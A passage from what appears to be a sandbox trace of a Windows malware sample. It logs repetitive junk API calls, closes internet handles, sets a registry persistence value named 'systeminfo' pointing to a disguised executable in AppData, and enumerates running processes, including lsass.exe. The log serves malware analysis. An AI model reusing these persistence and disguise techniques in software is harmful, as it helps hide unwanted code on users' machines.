(lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcess () returned 0xffffffff [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225B4P") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcess () returned 0xffffffff [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225B5P") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetLastError () returned 0x0 [0136.690] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225B6P") returned 6 [0136.690] SetLastError (dwErrCode=0x0) [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] GetCurrentProcessId () returned 0x79c [0136.690] lstrlenA (lpString="just string") returned 11 [0136.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.690] GetLastError () returned 0x0 [0136.690] GetLastError () returned 0x0 [0136.690] GetLastError () returned 0x0 [0136.691] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcess () returned 0xffffffff [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225C8P") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcess () returned 0xffffffff [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225C9P") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="225CAP") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] lstrlenA (lpString="just string") returned 11 [0136.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.691] GetLastError () returned 0x0 [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] lstrlenA (lpString="just string") returned 11 [0136.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.691] GetLastError () returned 0x0 [0136.691] GetCurrentProcess () returned 0xffffffff [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22623P") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22624P") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] lstrlenA (lpString="just string") returned 11 [0136.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.691] GetLastError () returned 0x0 [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] lstrlenA (lpString="just string") returned 11 [0136.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.691] GetLastError () returned 0x0 [0136.691] GetLastError () returned 0x0 [0136.691] lstrlenA (lpString="just string") returned 11 [0136.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.691] GetLastError () returned 0x0 [0136.691] GetLastError () returned 0x0 [0136.691] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcess () returned 0xffffffff [0136.691] GetLastError () returned 0x0 [0136.691] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226B8P") returned 6 [0136.691] SetLastError (dwErrCode=0x0) [0136.691] GetCurrentProcessId () returned 0x79c [0136.691] GetCurrentProcess () returned 0xffffffff [0136.691] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226B9P") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226BAP") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] lstrlenA (lpString="just string") returned 11 [0136.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.692] GetLastError () returned 0x0 [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226D8P") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] lstrlenA (lpString="just string") returned 11 [0136.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.692] GetLastError () returned 0x0 [0136.692] GetLastError () returned 0x0 [0136.692] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcess () returned 0xffffffff [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226EAP") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcess () returned 0xffffffff [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226EBP") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226ECP") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] lstrlenA (lpString="just string") returned 11 [0136.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.692] GetLastError () returned 0x0 [0136.692] GetCurrentProcess () returned 0xffffffff [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226F5P") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetLastError () returned 0x0 [0136.692] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226F6P") returned 6 [0136.692] SetLastError (dwErrCode=0x0) [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] GetCurrentProcessId () returned 0x79c [0136.692] lstrlenA (lpString="just string") returned 11 [0136.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.692] GetLastError () returned 0x0 [0136.692] GetLastError () returned 0x0 [0136.693] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.693] SetLastError (dwErrCode=0x0) [0136.693] GetCurrentProcess () returned 0xffffffff [0136.693] GetLastError () returned 0x0 [0136.693] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226FEP") returned 6 [0136.693] SetLastError (dwErrCode=0x0) [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcess () returned 0xffffffff [0136.693] GetLastError () returned 0x0 [0136.693] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="226FFP") returned 6 [0136.693] SetLastError (dwErrCode=0x0) [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetLastError () returned 0x0 [0136.693] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="22700P") returned 6 [0136.693] SetLastError (dwErrCode=0x0) [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] lstrlenA (lpString="just string") returned 11 [0136.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.693] GetLastError () returned 0x0 [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] GetCurrentProcessId () returned 0x79c [0136.693] lstrlenA (lpString="just string") returned 11 [0136.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.693] GetLastError () returned 0x0 [0136.693] GetLastError () returned 0x0 [0136.693] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.693] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0136.693] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0136.693] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0136.694] RegSetValueExW (in: hKey=0x38c, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0136.694] RegCloseKey (hKey=0x38c) returned 0x0 [0136.694] GetCurrentProcessId () returned 0x79c [0137.308] GetTickCount () returned 0x83fd [0137.308] GetCurrentProcessId () returned 0x79c [0137.308] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0137.308] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0137.308] GetCurrentProcessId () returned 0x79c [0137.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0137.309] lstrlenA (lpString="just string") returned 11 [0137.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.309] Process32FirstW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.310] GetLastError () returned 0x0 [0137.310] GetCurrentProcessId () returned 0x79c [0137.310] GetLastError () returned 0x0 [0137.310] lstrcpyW (in: lpString1=0x4e9df4, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0137.310] GetCurrentProcess () returned 0xffffffff [0137.310] GetLastError () returned 0x0 [0137.310] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24C6BP") returned 6 [0137.310] SetLastError (dwErrCode=0x0) [0137.310] GetCurrentProcessId () returned 0x79c [0137.310] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.310] GetLastError () returned 0x0 [0137.310] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24C6CP") returned 6 [0137.310] SetLastError (dwErrCode=0x0) [0137.310] GetCurrentProcessId () returned 0x79c [0137.310] GetCurrentProcessId () returned 0x79c [0137.310] GetCurrentProcessId () returned 0x79c [0137.310] GetCurrentProcessId () returned 0x79c [0137.311] lstrcpyW (in: lpString1=0x4ea46c, lpString2="System" | out: lpString1="System") returned="System" [0137.311] GetCurrentProcessId () returned 0x79c [0137.311] lstrlenA (lpString="just string") returned 11 [0137.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.311] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.311] GetLastError () returned 0x0 [0137.311] GetCurrentProcessId () returned 0x79c [0137.311] GetLastError () returned 0x0 [0137.311] lstrcpyW (in: lpString1=0x4ea694, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0137.311] lstrlenA (lpString="just string") returned 11 [0137.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.311] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.312] GetLastError () returned 0x0 [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] lstrcpyW (in: lpString1=0x4ea8bc, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] lstrlenA (lpString="just string") returned 11 [0137.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.312] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.312] GetLastError () returned 0x0 [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] GetLastError () returned 0x0 [0137.312] lstrcpyW (in: lpString1=0x4eaae4, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0137.312] GetCurrentProcess () returned 0xffffffff [0137.312] GetLastError () returned 0x0 [0137.312] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="24CE3P") returned 6 [0137.312] SetLastError (dwErrCode=0x0) [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] GetLastError () returned 0x0 [0137.312] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24CE4P") returned 6 [0137.312] SetLastError (dwErrCode=0x0) [0137.312] GetCurrentProcessId () returned 0x79c [0137.312] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] lstrlenA (lpString="just string") returned 11 [0137.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.313] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.313] GetLastError () returned 0x0 [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] lstrcpyW (in: lpString1=0x4ead0c, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0137.313] GetCurrentProcessId () returned 0x79c [0137.313] lstrlenA (lpString="just string") returned 11 [0137.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.313] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.314] GetLastError () returned 0x0 [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] lstrcpyW (in: lpString1=0x4eaf34, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0137.314] lstrlenA (lpString="just string") returned 11 [0137.314] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.314] GetLastError () returned 0x0 [0137.314] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.314] GetLastError () returned 0x0 [0137.314] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="24D7AP") returned 6 [0137.314] SetLastError (dwErrCode=0x0) [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] lstrcpyW (in: lpString1=0x4eb15c, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] GetCurrentProcessId () returned 0x79c [0137.314] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0137.315] lstrlenA (lpString="just string") returned 11 [0137.315] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.315] GetLastError () returned 0x0 [0137.315] GetCurrentProcessId () returned 0x79c [0137.315] lstrcpyW (in: lpString1=0x4eb384, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0137.315] GetLastError () returned 0x0 [0137.315] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.315] GetLastError () returned 0x0 [0137.315] lstrcpyW (in: lpString1=0x4eb5ac, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0137.315] GetCurrentProcessId () returned 0x79c [0137.315] GetCurrentProcessId () returned 0x79c [0137.315] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.316] GetCurrentProcessId () returned 0x79c [0137.316] lstrlenA (lpString="just string") returned 11 [0137.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.316] GetCurrentProcessId () returned 0x79c [0137.316] GetLastError () returned 0x0 [0137.316] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.316] GetLastError () returned 0x0 [0137.316] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] lstrlenA (lpString="just string") returned 11 [0137.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.317] GetLastError () returned 0x0 [0137.317] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] GetCurrentProcessId () returned 0x79c [0137.317] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.317] lstrlenA (lpString="just string") returned 11 [0137.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.317] GetLastError () returned 0x0 [0137.317] GetCurrentProcessId () returned 0x79c [0137.318] lstrcpyW (in: lpString1=0x4eb7d4, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0137.318] GetLastError () returned 0x0 [0137.318] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.318] GetCurrentProcessId () returned 0x79c [0137.318] GetCurrentProcessId () returned 0x79c [0137.318] GetCurrentProcessId () returned 0x79c [0137.318] lstrlenA (lpString="just string") returned 11 [0137.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.318] GetLastError () returned 0x0 [0137.318] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.318] GetCurrentProcess () returned 0xffffffff [0137.318] GetLastError () returned 0x0 [0137.318] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="24E87P") returned 6 [0137.318] SetLastError (dwErrCode=0x0) [0137.318] GetCurrentProcessId () returned 0x79c [0137.318] GetCurrentProcessId () returned 0x79c [0137.319] GetLastError () returned 0x0 [0137.319] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="24E88P") returned 6 [0137.319] SetLastError (dwErrCode=0x0) [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] lstrlenA (lpString="just string") returned 11 [0137.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.319] lstrcpyW (in: lpString1=0x4eb9fc, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0137.319] GetLastError () returned 0x0 [0137.319] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.319] GetCurrentProcessId () returned 0x79c [0137.319] GetCurrentProcessId () returned 0x79c [0137.320] GetCurrentProcessId () returned 0x79c [0137.320] lstrlenA (lpString="just string") returned 11 [0137.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.320] GetLastError () returned 0x0 [0137.320] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0137.320] lstrlenA (lpString="just string") returned 11 [0137.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.320] GetCurrentProcessId () returned 0x79c [0137.320] GetLastError () returned 0x0 [0137.320] lstrcpyW (in: lpString1=0x4ebc24, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0137.320] GetLastError () returned 0x0 [0137.320] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0137.320] lstrlenA (lpString="just string") returned 11 [0137.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.320] GetCurrentProcessId () returned 0x79c [0137.321] GetLastError () returned 0x0 [0137.321] lstrcpyW (in: lpString1=0x4ebe4c, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0137.321] GetLastError () returned 0x0 [0137.321] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24F1EP") returned 6 [0137.321] SetLastError (dwErrCode=0x0) [0137.321] GetCurrentProcessId () returned 0x79c [0137.321] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0137.321] GetCurrentProcessId () returned 0x79c [0137.321] GetCurrentProcessId () returned 0x79c [0137.321] GetCurrentProcessId () returned 0x79c [0137.321] GetCurrentProcessId () returned 0x79c [0137.321] lstrcpyW (in: lpString1=0x4ec074, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0137.321] lstrlenA (lpString="just string") returned 11 [0137.321] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.321] GetLastError () returned 0x0 [0137.321] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.322] GetCurrentProcess () returned 0xffffffff [0137.322] GetLastError () returned 0x0 [0137.322] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="24F45P") returned 6 [0137.322] SetLastError (dwErrCode=0x0) [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] GetLastError () returned 0x0 [0137.322] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="24F46P") returned 6 [0137.322] SetLastError (dwErrCode=0x0) [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] lstrcpyW (in: lpString1=0x4ec29c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, 